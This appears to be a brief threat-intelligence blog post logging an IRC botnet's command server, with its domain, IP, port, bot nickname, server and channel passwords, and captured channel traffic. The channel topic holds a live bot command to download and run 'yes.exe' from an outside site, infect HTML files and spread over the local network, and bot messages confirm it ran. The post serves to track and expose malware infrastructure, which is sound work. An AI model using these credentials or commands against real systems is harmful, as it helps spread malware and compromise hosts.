kca.hopto.org(irc botnet hosted in Turkey Balikesir Turk Telekomunikasyon Anonim Sirketi)

Resolved : [kca.hopto.org] To [88.255.116.48]

Server:
88.255.116.48:1453
Nick: new[iRooT-XP-AUT]990453
Username: 9904
Server Pass: KCA
Joined Channel: #XXX with Password KCA
Channel Topic for Channel #XXX: “.dwl http://www.pso-k.org/yes.exe .lan .html”
Private Message to Channel #XXX: “^C04[HTML Infector]: ^C09Html Files Infected!”
Private Message to Channel #XXX: “[Download]: Executed Successfully”
Private Message to Channel #XXX: “^C04[LAN Spread]: ^C09Spreading via Local Area Network…”

hosting infos:
http://whois.domaintools.com/88.255.116.48

Categories: Uncategorized